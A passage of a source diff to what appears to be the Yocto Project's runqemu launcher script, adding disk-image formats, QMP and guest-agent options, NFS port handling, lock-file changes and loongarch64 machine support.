+ (hint: if /dev/dri/renderD* is absent due to lack of suitable GPU, 'modprobe vgem' will create
+ one suitable for mesa llvmpipe software renderer)
serial - enable a serial console on /dev/ttyS0
serialstdio - enable a serial console on the console (regardless of graphics mode)
- slirp - enable user networking, no root privileges is required
- snapshot - don't write changes to back to images
+ slirp - enable user networking, no root privilege is required
+ snapshot - don't write changes back to images
kvm - enable KVM when running x86/x86_64 (VT-capable CPU required)
kvm-vhost - enable KVM with vhost when running x86/x86_64 (VT-capable CPU required)
publicvnc - enable a VNC server open to all hosts
audio - enable audio
+ guestagent - enable guest agent communication
+ qmp=<path> - create a QMP socket (defaults to unix:qmp.sock if unspecified)
[*/]ovmf* - OVMF firmware file or base name for booting with UEFI
tcpserial=<port> - specify tcp serial port number
qemuparams=<xyz> - specify custom parameters to QEMU
@@ -94,11 +101,13 @@ Examples:
runqemu qemux86-64 core-image-sato ext4
runqemu qemux86-64 wic-image-minimal wic
runqemu path/to/bzImage-qemux86.bin path/to/nfsrootdir/ serial
- runqemu qemux86 iso/hddimg/wic.vmdk/wic.qcow2/wic.vdi/ramfs/cpio.gz...
+ runqemu qemux86 iso/hddimg/wic.vmdk/wic.vhd/wic.vhdx/wic.qcow2/wic.vdi/ramfs/cpio.gz...
runqemu qemux86 qemuparams="-m 256"
runqemu qemux86 bootparams="psplash=false"
runqemu path/to/<image>-<machine>.wic
runqemu path/to/<image>-<machine>.wic.vmdk
+ runqemu path/to/<image>-<machine>.wic.vhdx
+ runqemu path/to/<image>-<machine>.wic.vhd
""")
def check_tun():
@@ -110,10 +119,10 @@ def check_tun():
if not os.access(dev_tun, os.W_OK):
raise RunQemuError("TUN control device %s is not writable, please fix (e.g. sudo chmod 666 %s)" % (dev_tun, dev_tun))
-def get_first_file(cmds):
- """Return first file found in wildcard cmds"""
- for cmd in cmds:
- all_files = glob.glob(cmd)
+def get_first_file(globs):
+ """Return first file found in wildcard globs"""
+ for g in globs:
+ all_files = glob.glob(g)
if all_files:
for f in all_files:
if not os.path.isdir(f):
@@ -136,12 +145,12 @@ class BaseConfig(object):
'OE_TMPDIR',
'OECORE_NATIVE_SYSROOT',
'MULTICONFIG',
+ 'SERIAL_CONSOLES',
)
self.qemu_opt = ''
self.qemu_opt_script = ''
self.qemuparams = ''
- self.clean_nfs_dir = False
self.nfs_server = ''
self.rootfs = ''
# File name(s) of a OVMF firmware file or variable store,
@@ -170,6 +179,15 @@ class BaseConfig(object):
self.nfs_running = False
self.serialconsole = False
self.serialstdio = False
+ self.nographic = False
+ self.nonetwork = False
+ self.sdl = False
+ self.gtk = False
+ self.gl = False
+ self.gl_es = False
+ self.egl_headless = False
+ self.publicvnc = False
+ self.novga = False
self.cleantap = False
self.saved_stty = ''
self.audio_enabled = False
@@ -179,14 +197,16 @@ class BaseConfig(object):
self.portlocks = {}
self.bitbake_e = ''
self.snapshot = False
- self.wictypes = ('wic', 'wic.vmdk', 'wic.qcow2', 'wic.vdi')
+ self.wictypes = ('wic', 'wic.vmdk', 'wic.qcow2', 'wic.vdi', "wic.vhd", "wic.vhdx")
self.fstypes = ('ext2', 'ext3', 'ext4', 'jffs2', 'nfs', 'btrfs',
- 'cpio.gz', 'cpio', 'ramfs', 'tar.bz2', 'tar.gz')
+ 'cpio.gz', 'cpio', 'ramfs', 'tar.bz2', 'tar.gz',
+ 'squashfs', 'squashfs-xz', 'squashfs-lzo',
+ 'squashfs-lz4', 'squashfs-zst')
self.vmtypes = ('hddimg', 'iso')
self.fsinfo = {}
self.network_device = "-device e1000,netdev=net0,mac=@MAC@"
self.cmdline_ip_slirp = "ip=dhcp"
- self.cmdline_ip_tap = "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0"
+ self.cmdline_ip_tap = "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0::eth0:off:8.8.8.8 net.ifnames=0"
# Use different mac section for tap and slirp to avoid
# conflicts, e.g., when one is running with tap, the other is
# running with slirp.
@@ -196,9 +216,15 @@ class BaseConfig(object):
self.mac_tap = "52:54:00:12:34:"
self.mac_slirp = "52:54:00:12:35:"
# pid of the actual qemu process
- self.qemupid = None
+ self.qemu_environ = os.environ.copy()
+ self.qemuprocess = None
# avoid cleanup twice
self.cleaned = False
+ # Files to cleanup after run
+ self.cleanup_files = []
+ self.qmp = None
+ self.guest_agent = False
+ self.guest_agent_sockpath = '/tmp/qga.sock'
def acquire_taplock(self, error=True):
logger.debug("Acquiring lockfile %s..." % self.taplock)
@@ -220,9 +246,12 @@ class BaseConfig(object):
def release_taplock(self):
if self.taplock_descriptor:
logger.debug("Releasing lockfile for tap device '%s'" % self.tap)
- fcntl.flock(self.taplock_descriptor, fcntl.LOCK_UN)
+ # We pass the fd to the qemu process and if we unlock here, it would unlock for
+ # that too. Therefore don't unlock, just close
+ # fcntl.flock(self.taplock_descriptor, fcntl.LOCK_UN)
self.taplock_descriptor.close()
- os.remove(self.taplock)
+ # Removing the file is a potential race, don't do that either
+ # os.remove(self.taplock)
self.taplock_descriptor = None
def check_free_port(self, host, port, lockdir):
@@ -260,17 +289,23 @@ class BaseConfig(object):
def release_portlock(self, lockfile=None):
if lockfile != None:
- logger.debug("Releasing lockfile '%s'" % lockfile)
- fcntl.flock(self.portlocks[lockfile], fcntl.LOCK_UN)
- self.portlocks[lockfile].close()
- os.remove(lockfile)
- del self.portlocks[lockfile]
+ logger.debug("Releasing lockfile '%s'" % lockfile)
+ # We pass the fd to the qemu process and if we unlock here, it would unlock for
+ # that too. Therefore don't unlock, just close
+ # fcntl.flock(self.portlocks[lockfile], fcntl.LOCK_UN)
+ self.portlocks[lockfile].close()
+ # Removing the file is a potential race, don't do that either
+ # os.remove(lockfile)
+ del self.portlocks[lockfile]
elif len(self.portlocks):
for lockfile, descriptor in self.portlocks.items():
logger.debug("Releasing lockfile '%s'" % lockfile)
- fcntl.flock(descriptor, fcntl.LOCK_UN)
+ # We pass the fd to the qemu process and if we unlock here, it would unlock for
+ # that too. Therefore don't unlock, just close
+ # fcntl.flock(descriptor, fcntl.LOCK_UN)
descriptor.close()
- os.remove(lockfile)
+ # Removing the file is a potential race, don't do that either
+ # os.remove(lockfile)
self.portlocks = {}
def get(self, key):
@@ -328,21 +363,21 @@ class BaseConfig(object):
def check_arg_path(self, p):
"""
- Check whether it is <image>.qemuboot.conf or contains <image>.qemuboot.conf
- - Check whether is a kernel file
- - Check whether is a image file
- - Check whether it is a nfs dir
- - Check whether it is a OVMF flash file
+ - Check whether it is a kernel file
+ - Check whether it is an image file
+ - Check whether it is an NFS dir
+ - Check whether it is an OVMF flash file
"""
if p.endswith('.qemuboot.conf'):
self.qemuboot = p
self.qbconfload = True
- elif re.search('\.bin$', p) or re.search('bzImage', p) or \
+ elif re.search('\\.bin$', p) or re.search('bzImage', p) or \
re.search('zImage', p) or re.search('vmlinux', p) or \
re.search('fitImage', p) or re.search('uImage', p):
self.kernel = p
- elif os.path.exists(p) and (not os.path.isdir(p)) and '-image-' in os.path.basename(p):
+ elif os.path.isfile(p) and ('-image-' in os.path.basename(p) or '.rootfs.' in os.path.basename(p)):
self.rootfs = p
- # Check filename against self.fstypes can hanlde <file>.cpio.gz,
+ # Check filename against self.fstypes can handle <file>.cpio.gz,
# otherwise, its type would be "gz", which is incorrect.
fst = ""
for t in self.fstypes:
@@ -350,18 +385,24 @@ class BaseConfig(object):
fst = t
break
if not fst:
- m = re.search('.*\.(.*)$', self.rootfs)
+ m = re.search('.*\\.(.*)$', self.rootfs)
if m:
fst = m.group(1)
if fst:
self.check_arg_fstype(fst)
- qb = re.sub('\.' + fst + "$", '', self.rootfs)
- qb = '%s%s' % (re.sub('\.rootfs$', '', qb), '.qemuboot.conf')
+ qb = re.sub('\\.' + fst + "$", '.qemuboot.conf', self.rootfs)
if os.path.exists(qb):
self.qemuboot = qb
self.qbconfload = True
else:
- logger.warning("%s doesn't exist" % qb)
+ logger.warning("%s doesn't exist, will try to remove '.rootfs' from filename" % qb)
+ # They to remove .rootfs (IMAGE_NAME_SUFFIX) as well
+ qb = re.sub('\\.rootfs.qemuboot.conf$', '.qemuboot.conf', qb)
+ if os.path.exists(qb):
+ self.qemuboot = qb
+ self.qbconfload = True
+ else:
+ logger.warning("%s doesn't exist" % qb)
else:
raise RunQemuError("Can't find FSTYPE from: %s" % p)
@@ -395,6 +436,7 @@ class BaseConfig(object):
# are there other scenarios in which we need to support being
# invoked by bitbake?
deploy = self.get('DEPLOY_DIR_IMAGE')
+ image_link_name = self.get('IMAGE_LINK_NAME')
bbchild = deploy and self.get('OE_TMPDIR')
if bbchild:
self.set_machine_deploy_dir(arg, deploy)
@@ -419,23 +461,24 @@ class BaseConfig(object):
else:
logger.error("%s not a directory valid DEPLOY_DIR_IMAGE" % deploy_dir_image)
self.set("MACHINE", arg)
+ if not image_link_name:
+ s = re.search('^IMAGE_LINK_NAME="(.*)"', self.bitbake_e, re.M)
+ if s:
+ image_link_name = s.group(1)
+ self.set("IMAGE_LINK_NAME", image_link_name)
+ logger.debug('Using IMAGE_LINK_NAME = "%s"' % image_link_name)
def set_dri_path(self):
- # As runqemu can be run within bitbake (when using testimage, for example),
- # we need to ensure that we run host pkg-config, and that it does not
- # get mis-directed to native build paths set by bitbake.
- try:
- del os.environ['PKG_CONFIG_PATH']
- del os.environ['PKG_CONFIG_DIR']
- del os.environ['PKG_CONFIG_LIBDIR']
- del os.environ['PKG_CONFIG_SYSROOT_DIR']
- except KeyError:
- pass
- try:
- dripath = subprocess.check_output("PATH=/bin:/usr/bin:$PATH pkg-config --variable=dridriverdir dri", shell=True)
- except subprocess.CalledProcessError as e:
- raise RunQemuError("Could not determine the path to dri drivers on the host via pkg-config.\nPlease install Mesa development files (particularly, dri.pc) on the host machine.")
- os.environ['LIBGL_DRIVERS_PATH'] = dripath.decode('utf-8').strip()
+ drivers_path = os.path.join(self.bindir_native, '../lib/dri')
+ if not os.path.exists(drivers_path) or not os.listdir(drivers_path):
+ raise RunQemuError("""
+qemu has been built without opengl support and accelerated graphics support is not available.
+To enable it, add:
+DISTRO_FEATURES_NATIVE:append = " opengl"
+DISTRO_FEATURES_NATIVESDK:append = " opengl"
+to your build configuration.
+""")
+ self.qemu_environ['LIBGL_DRIVERS_PATH'] = drivers_path
def check_args(self):
for debug in ("-d", "--debug"):
@@ -449,44 +492,32 @@ class BaseConfig(object):
sys.argv.remove(quiet)
if 'gl' not in sys.argv[1:] and 'gl-es' not in sys.argv[1:]:
- os.environ['SDL_RENDER_DRIVER'] = 'software'
+ self.qemu_environ['SDL_RENDER_DRIVER'] = 'software'
+ self.qemu_environ['SDL_FRAMEBUFFER_ACCELERATION'] = 'false'
unknown_arg = ""
for arg in sys.argv[1:]:
if arg in self.fstypes + self.vmtypes + self.wictypes:
self.check_arg_fstype(arg)
elif arg == 'nographic':
- self.qemu_opt_script += ' -nographic'
- self.kernel_cmdline_script += ' console=ttyS0'
+ self.nographic = True
+ elif arg == "nonetwork":
+ self.nonetwork = True
elif arg == 'sdl':
- if 'gl' in sys.argv[1:]:
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display sdl,gl=on,show-cursor=on'
- elif 'gl-es' in sys.argv[1:]:
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display sdl,gl=es,show-cursor=on'
- else:
- self.qemu_opt_script += ' -display sdl,show-cursor=on'
+ self.sdl = True
elif arg == 'gtk':
- if 'gl' in sys.argv[1:]:
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display gtk,gl=on,show-cursor=on'
- elif 'gl-es' in sys.argv[1:]:
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display gtk,gl=es,show-cursor=on'
- else:
- self.qemu_opt_script += ' -display gtk,show-cursor=on'
- elif arg == 'gl' or arg == 'gl-es':
- # These args are handled inside sdl or gtk blocks above
- pass
+ self.gtk = True
+ elif arg == 'gl':
+ self.gl = True
+ elif arg == 'gl-es':
+ self.gl_es = True
elif arg == 'egl-headless':
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display egl-headless,show-cursor=on'
+ self.egl_headless = True
+ elif arg == 'novga':
+ self.novga = True
elif arg == 'serial':
- self.kernel_cmdline_script += ' console=ttyS0'
self.serialconsole = True
elif arg == "serialstdio":
- self.kernel_cmdline_script += ' console=ttyS0'
self.serialstdio = True
elif arg == 'audio':
logger.info("Enabling audio in qemu")
@@ -503,7 +534,16 @@ class BaseConfig(object):
elif arg == 'snapshot':
self.snapshot = True
elif arg == 'publicvnc':
+ self.publicvnc = True
self.qemu_opt_script += ' -vnc :0'
+ elif arg == 'guestagent':
+ self.guest_agent = True
+ elif arg == "qmp":
+ self.qmp = "unix:qmp.sock"
+ elif arg.startswith("qmp="):
+ self.qmp = arg[len('qmp='):]
+ elif arg.startswith('guestagent-sockpath='):
+ self.guest_agent_sockpath = '%s' % arg[len('guestagent-sockpath='):]
elif arg.startswith('tcpserial='):
self.tcpserial_portnum = '%s' % arg[len('tcpserial='):]
elif arg.startswith('qemuparams='):
@@ -535,21 +575,28 @@ class BaseConfig(object):
self.check_arg_machine(unknown_arg)
if not (self.get('DEPLOY_DIR_IMAGE') or self.qbconfload):
- self.load_bitbake_env()
+ self.load_bitbake_env(target=self.rootfs)
s = re.search('^DEPLOY_DIR_IMAGE="(.*)"', self.bitbake_e, re.M)
if s:
self.set("DEPLOY_DIR_IMAGE", s.group(1))
+ if not self.get('IMAGE_LINK_NAME') and self.rootfs:
+ s = re.search('^IMAGE_LINK_NAME="(.*)"', self.bitbake_e, re.M)
+ if s:
+ image_link_name = s.group(1)
+ self.set("IMAGE_LINK_NAME", image_link_name)
+ logger.debug('Using IMAGE_LINK_NAME = "%s"' % image_link_name)
+
def check_kvm(self):
"""Check kvm and kvm-host"""
if not (self.kvm_enabled or self.vhost_enabled):
- self.qemu_opt_script += ' %s %s' % (self.get('QB_MACHINE'), self.get('QB_CPU'))
+ self.qemu_opt_script += ' %s %s %s' % (self.get('QB_MACHINE'), self.get('QB_CPU'), self.get('QB_SMP'))
return
if not self.get('QB_CPU_KVM'):
raise RunQemuError("QB_CPU_KVM is NULL, this board doesn't support kvm")
- self.qemu_opt_script += ' %s %s' % (self.get('QB_MACHINE'), self.get('QB_CPU_KVM'))
+ self.qemu_opt_script += ' %s %s %s' % (self.get('QB_MACHINE'), self.get('QB_CPU_KVM'), self.get('QB_SMP'))
yocto_kvm_wiki = "https://wiki.yoctoproject.org/wiki/How_to_enable_KVM_for_Poky_qemu"
yocto_paravirt_kvm_wiki = "https://wiki.yoctoproject.org/wiki/Running_an_x86_Yocto_Linux_image_under_QEMU_KVM"
dev_kvm = '/dev/kvm'
@@ -569,11 +616,6 @@ class BaseConfig(object):
if os.access(dev_kvm, os.W_OK|os.R_OK):
self.qemu_opt_script += ' -enable-kvm'
- if self.get('MACHINE') == "qemux86":
- # Workaround for broken APIC window on pre 4.15 host kernels which causes boot hangs
- # See YOCTO #12301
- # On 64 bit we use x2apic
- self.kernel_cmdline_script += " clocksource=kvm-clock hpet=disable noapic nolapic"
else:
logger.error("You have no read or write permission on /dev/kvm.")
logger.error("Please change the ownership of this file as described at:")
@@ -614,10 +656,10 @@ class BaseConfig(object):
elif fsflag == 'kernel-in-fs':
wic_fs = False
else:
- logger.warn('Unknown flag "%s:%s" in QB_FSINFO', fstype, fsflag)
+ logger.warning('Unknown flag "%s:%s" in QB_FSINFO', fstype, fsflag)
continue
else:
- logger.warn('QB_FSINFO is not supported for image type "%s"', fstype)
+ logger.warning('QB_FSINFO is not supported for image type "%s"', fstype)
continue
if fstype in self.fsinfo:
@@ -650,16 +692,16 @@ class BaseConfig(object):
if self.rootfs and not os.path.exists(self.rootfs):
# Lazy rootfs
- self.rootfs = "%s/%s-%s.%s" % (self.get('DEPLOY_DIR_IMAGE'),
- self.rootfs, self.get('MACHINE'),
+ self.rootfs = "%s/%s.%s" % (self.get('DEPLOY_DIR_IMAGE'),
+ self.get('IMAGE_LINK_NAME'),
self.fstype)
elif not self.rootfs:
- cmd_name = '%s/%s*.%s' % (self.get('DEPLOY_DIR_IMAGE'), self.get('IMAGE_NAME'), self.fstype)
- cmd_link = '%s/%s*.%s' % (self.get('DEPLOY_DIR_IMAGE'), self.get('IMAGE_LINK_NAME'), self.fstype)
- cmds = (cmd_name, cmd_link)
- self.rootfs = get_first_file(cmds)
+ glob_name = '%s/%s*.%s' % (self.get('DEPLOY_DIR_IMAGE'), self.get('IMAGE_NAME'), self.fstype)
+ glob_link = '%s/%s*.%s' % (self.get('DEPLOY_DIR_IMAGE'), self.get('IMAGE_LINK_NAME'), self.fstype)
+ globs = (glob_name, glob_link)
+ self.rootfs = get_first_file(globs)
if not self.rootfs:
- raise RunQemuError("Failed to find rootfs: %s or %s" % cmds)
+ raise RunQemuError("Failed to find rootfs: %s or %s" % globs)
if not os.path.exists(self.rootfs):
raise RunQemuError("Can't find rootfs: %s" % self.rootfs)
@@ -719,10 +761,10 @@ class BaseConfig(object):
kernel_match_name = "%s/%s" % (deploy_dir_image, kernel_name)
kernel_match_link = "%s/%s" % (deploy_dir_image, self.get('KERNEL_IMAGETYPE'))
kernel_startswith = "%s/%s*" % (deploy_dir_image, self.get('KERNEL_IMAGETYPE'))
- cmds = (kernel_match_name, kernel_match_link, kernel_startswith)
- self.kernel = get_first_file(cmds)
+ globs = (kernel_match_name, kernel_match_link, kernel_startswith)
+ self.kernel = get_first_file(globs)
if not self.kernel:
- raise RunQemuError('KERNEL not found: %s, %s or %s' % cmds)
+ raise RunQemuError('KERNEL not found: %s, %s or %s' % globs)
if not os.path.exists(self.kernel):
raise RunQemuError("KERNEL %s not found" % self.kernel)
@@ -739,13 +781,13 @@ class BaseConfig(object):
dtb = self.get('QB_DTB')
if dtb:
deploy_dir_image = self.get('DEPLOY_DIR_IMAGE')
- cmd_match = "%s/%s" % (deploy_dir_image, dtb)
- cmd_startswith = "%s/%s*" % (deploy_dir_image, dtb)
- cmd_wild = "%s/*.dtb" % deploy_dir_image
- cmds = (cmd_match, cmd_startswith, cmd_wild)
- self.dtb = get_first_file(cmds)
+ glob_match = "%s/%s" % (deploy_dir_image, dtb)
+ glob_startswith = "%s/%s*" % (deploy_dir_image, dtb)
+ glob_wild = "%s/*.dtb" % deploy_dir_image
+ globs = (glob_match, glob_startswith, glob_wild)
+ self.dtb = get_first_file(globs)
if not os.path.exists(self.dtb):
- raise RunQemuError('DTB not found: %s, %s or %s' % cmds)
+ raise RunQemuError('DTB not found: %s, %s or %s' % globs)
def check_bios(self):
"""Check and set bios"""
@@ -769,7 +811,7 @@ class BaseConfig(object):
raise RunQemuError('BIOS not found: %s' % bios_match_name)
if not os.path.exists(self.bios):
- raise RunQemuError("KERNEL %s not found" % self.bios)
+ raise RunQemuError("BIOS %s not found" % self.bios)
def check_mem(self):
@@ -796,7 +838,7 @@ class BaseConfig(object):
self.set('QB_MEM', qb_mem)
mach = self.get('MACHINE')
- if not mach.startswith('qemumips'):
+ if not mach.startswith(('qemumips', 'qemux86', 'qemuloongarch64')):
self.kernel_cmdline_script += ' mem=%s' % self.get('QB_MEM').replace('-m','').strip() + 'M'
self.qemu_opt_script += ' %s' % self.get('QB_MEM')
@@ -808,11 +850,11 @@ class BaseConfig(object):
if self.get('QB_TCPSERIAL_OPT'):
self.qemu_opt_script += ' ' + self.get('QB_TCPSERIAL_OPT').replace('@PORT@', port)
else:
- self.qemu_opt_script += ' -serial tcp:127.0.0.1:%s' % port
+ self.qemu_opt_script += ' -serial tcp:127.0.0.1:%s,nodelay=on' % port
if len(ports) > 1:
for port in ports[1:]:
- self.qemu_opt_script += ' -serial tcp:127.0.0.1:%s' % port
+ self.qemu_opt_script += ' -serial tcp:127.0.0.1:%s,nodelay=on' % port
def check_and_set(self):
"""Check configs sanity and set when needed"""
@@ -855,8 +897,10 @@ class BaseConfig(object):
machine = self.get('MACHINE')
if not machine:
machine = os.path.basename(deploy_dir_image)
- self.qemuboot = "%s/%s-%s.qemuboot.conf" % (deploy_dir_image,
- self.rootfs, machine)
+ if not self.get('IMAGE_LINK_NAME'):
+ raise RunQemuError("IMAGE_LINK_NAME wasn't set to find corresponding .qemuboot.conf file")
+ self.qemuboot = "%s/%s.qemuboot.conf" % (deploy_dir_image,
+ self.get('IMAGE_LINK_NAME'))
else:
cmd = 'ls -t %s/*.qemuboot.conf' % deploy_dir_image
logger.debug('Running %s...' % cmd)
@@ -977,19 +1021,16 @@ class BaseConfig(object):
if self.slirp_enabled:
self.nfs_server = '10.0.2.2'
else:
- self.nfs_server = '192.168.7.1'
-
- # Figure out a new nfs_instance to allow multiple qemus running.
- ps = subprocess.check_output(("ps", "auxww")).decode('utf-8')
- pattern = '/bin/unfsd .* -i .*\.pid -e .*/exports([0-9]+) '
- all_instances = re.findall(pattern, ps, re.M)
- if all_instances:
- all_instances.sort(key=int)
- self.nfs_instance = int(all_instances.pop()) + 1
+ self.nfs_server = '192.168.7.@GATEWAY@'
- nfsd_port = 3049 + 2 * self.nfs_instance
- mountd_port = 3048 + 2 * self.nfs_instance
+ nfsd_port = 3048 + self.nfs_instance
+ lockdir = "/tmp/qemu-port-locks"
+ self.make_lock_dir(lockdir)
+ while not self.check_free_port('localhost', nfsd_port, lockdir):
+ self.nfs_instance += 1
+ nfsd_port += 1
+ mountd_port = nfsd_port
# Export vars for runqemu-export-rootfs
export_dict = {
'NFS_INSTANCE': self.nfs_instance,
@@ -1000,7 +1041,11 @@ class BaseConfig(object):
# Use '%s' since they are integers
os.putenv(k, '%s' % v)
- self.unfs_opts="nfsvers=3,port=%s,tcp,mountport=%s" % (nfsd_port, mountd_port)
+ qb_nfsrootfs_extra_opt = self.get("QB_NFSROOTFS_EXTRA_OPT")
+ if qb_nfsrootfs_extra_opt and not qb_nfsrootfs_extra_opt.startswith(","):
+ qb_nfsrootfs_extra_opt = "," + qb_nfsrootfs_extra_opt
+
+ self.unfs_opts="nfsvers=3,port=%s,tcp,mountport=%s%s" % (nfsd_port, mountd_port, qb_nfsrootfs_extra_opt)
# Extract .tar.bz2 or .tar.bz if no nfs dir
if not (self.rootfs and os.path.isdir(self.rootfs)):
@@ -1023,22 +1068,41 @@ class BaseConfig(object):
cmd = ('runqemu-extract-sdk', src, dest)
logger.info('Running %s...' % str(cmd))
if subprocess.call(cmd) != 0:
- raise RunQemuError('Failed to run %s' % cmd)
- self.clean_nfs_dir = True
+ raise RunQemuError('Failed to run %s' % str(cmd))
self.rootfs = dest
+ self.cleanup_files.append(self.rootfs)
+ self.cleanup_files.append('%s.pseudo_state' % self.rootfs)
# Start the userspace NFS server
cmd = ('runqemu-export-rootfs', 'start', self.rootfs)
logger.info('Running %s...' % str(cmd))
if subprocess.call(cmd) != 0:
- raise RunQemuError('Failed to run %s' % cmd)
+ raise RunQemuError('Failed to run %s' % str(cmd))
self.nfs_running = True
+ def setup_cmd(self):
+ cmd = self.get('QB_SETUP_CMD')
+ if cmd != '':
+ logger.info('Running setup command %s' % str(cmd))
+ if subprocess.call(cmd, shell=True) != 0:
+ raise RunQemuError('Failed to run %s' % str(cmd))
+
def setup_net_bridge(self):
self.set('NETWORK_CMD', '-netdev bridge,br=%s,id=net0,helper=%s -device virtio-net-pci,netdev=net0 ' % (
self.net_bridge, os.path.join(self.bindir_native, 'qemu-oe-bridge-helper')))
+ def make_lock_dir(self, lockdir):
+ if not os.path.exists(lockdir):
+ # There might be a race issue when multi runqemu processess are
+ # running at the same time.
+ try:
+ os.mkdir(lockdir)
+ os.chmod(lockdir, 0o777)
+ except FileExistsError:
+ pass
+ return
+
def setup_slirp(self):
"""Setup user networking"""
@@ -1048,7 +1112,7 @@ class BaseConfig(object):
logger.info("Network configuration:%s", netconf)
self.kernel_cmdline_script += netconf
# Port mapping
- hostfwd = ",hostfwd=tcp::2222-:22,hostfwd=tcp::2323-:23"
+ hostfwd = ",hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:2323-:23"
qb_slirp_opt_default = "-netdev user,id=net0%s,tftp=%s" % (hostfwd, self.get('DEPLOY_DIR_IMAGE'))
qb_slirp_opt = self.get('QB_SLIRP_OPT') or qb_slirp_opt_default
# Figure out the port
@@ -1057,14 +1121,7 @@ class BaseConfig(object):
mac = 2
lockdir = "/tmp/qemu-port-locks"
- if not os.path.exists(lockdir):
- # There might be a race issue when multi runqemu processess are
- # running at the same time.
- try:
- os.mkdir(lockdir)
- os.chmod(lockdir, 0o777)
- except FileExistsError:
- pass
+ self.make_lock_dir(lockdir)
# Find a free port to avoid conflicts
for p in ports[:]:
@@ -1104,20 +1161,17 @@ class BaseConfig(object):
logger.error("ip: %s" % ip)
raise OEPathError("runqemu-ifup, runqemu-ifdown or ip not found")
- if not os.path.exists(lockdir):
- # There might be a race issue when multi runqemu processess are
- # running at the same time.
- try:
- os.mkdir(lockdir)
- os.chmod(lockdir, 0o777)
- except FileExistsError:
- pass
+ self.make_lock_dir(lockdir)
cmd = (ip, 'link')
logger.debug('Running %s...' % str(cmd))
ip_link = subprocess.check_output(cmd).decode('utf-8')
# Matches line like: 6: tap0: <foo>
- possibles = re.findall('^[0-9]+: +(tap[0-9]+): <.*', ip_link, re.M)
+ oe_tap_name = 'tap'
+ if 'OE_TAP_NAME' in os.environ:
+ oe_tap_name = os.environ['OE_TAP_NAME']
+ tap_re = '^[0-9]+: +(' + oe_tap_name + '[0-9]+): <.*'
+ possibles = re.findall(tap_re, ip_link, re.M)
tap = ""
for p in possibles:
lockfile = os.path.join(lockdir, p)
@@ -1140,7 +1194,7 @@ class BaseConfig(object):
gid = os.getgid()
uid = os.getuid()
logger.info("Setting up tap interface under sudo")
- cmd = ('sudo', self.qemuifup, str(uid), str(gid), self.bindir_native)
+ cmd = ('sudo', self.qemuifup, str(gid))
try:
tap = subprocess.check_output(cmd).decode('utf-8').strip()
except subprocess.CalledProcessError as e:
@@ -1156,7 +1210,7 @@ class BaseConfig(object):
logger.error("Failed to setup tap device. Run runqemu-gen-tapdevs to manually create.")
sys.exit(1)
self.tap = tap
- tapnum = int(tap[3:])
+ tapnum = int(tap[len(oe_tap_name):])
gateway = tapnum * 2 + 1
client = gateway + 1
if self.fstype == 'nfs':
@@ -1164,6 +1218,7 @@ class BaseConfig(object):
netconf = " " + self.cmdline_ip_tap
netconf = netconf.replace('@CLIENT@', str(client))
netconf = netconf.replace('@GATEWAY@', str(gateway))
+ self.nfs_server = self.nfs_server.replace('@GATEWAY@', str(gateway))
logger.info("Network configuration:%s", netconf)
self.kernel_cmdline_script += netconf
mac = "%s%02x" % (self.mac_tap, client)
@@ -1179,7 +1234,8 @@ class BaseConfig(object):
self.set('NETWORK_CMD', '%s %s' % (self.network_device.replace('@MAC@', mac), qemu_tap_opt))
def setup_network(self):
- if self.get('QB_NET') == 'none':
+ if self.nonetwork or self.get('QB_NET') == 'none':
+ self.set('NETWORK_CMD', '-nic none')
return
if sys.stdin.isatty():
self.saved_stty = subprocess.check_output(("stty", "-g")).decode('utf-8').strip()
@@ -1198,7 +1254,19 @@ class BaseConfig(object):
return
if 'wic.' in self.fstype:
self.fstype = self.fstype[4:]
- rootfs_format = self.fstype if self.fstype in ('vmdk', 'qcow2', 'vdi') else 'raw'
+ rootfs_format = self.fstype if self.fstype in ('vmdk', 'vhd', 'vhdx', 'qcow2', 'vdi') else 'raw'
+
+ tmpfsdir = os.environ.get("RUNQEMU_TMPFS_DIR", None)
+ if self.snapshot and tmpfsdir:
+ newrootfs = os.path.join(tmpfsdir, os.path.basename(self.rootfs)) + "." + str(os.getpid())
+ logger.info("Copying rootfs to %s" % newrootfs)
+ copy_start = time.time()
+ shutil.copyfile(self.rootfs, newrootfs)
+ logger.info("Copy done in %s seconds" % (time.time() - copy_start))
+ self.rootfs = newrootfs
+ # Don't need a second copy now!
+ self.snapshot = False
+ self.cleanup_files.append(newrootfs)
qb_rootfs_opt = self.get('QB_ROOTFS_OPT')
if qb_rootfs_opt:
@@ -1244,7 +1312,13 @@ class BaseConfig(object):
self.rootfs_options = vm_drive
if not self.fstype in self.vmtypes:
self.rootfs_options += ' -no-reboot'
- self.kernel_cmdline = 'root=%s rw' % (self.get('QB_KERNEL_ROOT'))
+
+ # By default, ' rw' is appended to QB_KERNEL_ROOT unless either ro or rw is explicitly passed.
+ qb_kernel_root = self.get('QB_KERNEL_ROOT')
+ qb_kernel_root_l = qb_kernel_root.split()
+ if not ('ro' in qb_kernel_root_l or 'rw' in qb_kernel_root_l):
+ qb_kernel_root += ' rw'
+ self.kernel_cmdline = 'root=%s' % qb_kernel_root
if self.fstype == 'nfs':
self.rootfs_options = ''
@@ -1260,7 +1334,7 @@ class BaseConfig(object):
"""attempt to determine the appropriate qemu-system binary"""
mach = self.get('MACHINE')
if not mach:
- search = '.*(qemux86-64|qemux86|qemuarm64|qemuarm|qemumips64|qemumips64el|qemumipsel|qemumips|qemuppc).*'
+ search = '.*(qemux86-64|qemux86|qemuarm64|qemuarm|qemuloongarch64|qemumips64|qemumips64el|qemumipsel|qemumips|qemuppc).*'
if self.rootfs:
match = re.match(search, self.rootfs)
if match:
@@ -1283,6 +1357,8 @@ class BaseConfig(object):
qbsys = 'x86_64'
elif mach == 'qemuppc':
qbsys = 'ppc'
+ elif mach == 'qemuloongarch64':
+ qbsys = 'loongarch64'
elif mach == 'qemumips':
qbsys = 'mips'
elif mach == 'qemumips64':
@@ -1311,7 +1387,127 @@ class BaseConfig(object):
raise RunQemuError("Failed to boot, QB_SYSTEM_NAME is NULL!")
self.qemu_system = qemu_system
- def setup_final(self):
+ def check_render_nodes(self):
+ render_hint = """If /dev/dri/renderD* is absent due to lack of suitable GPU, 'modprobe vgem' will create one suitable for mesa llvmpipe software renderer."""
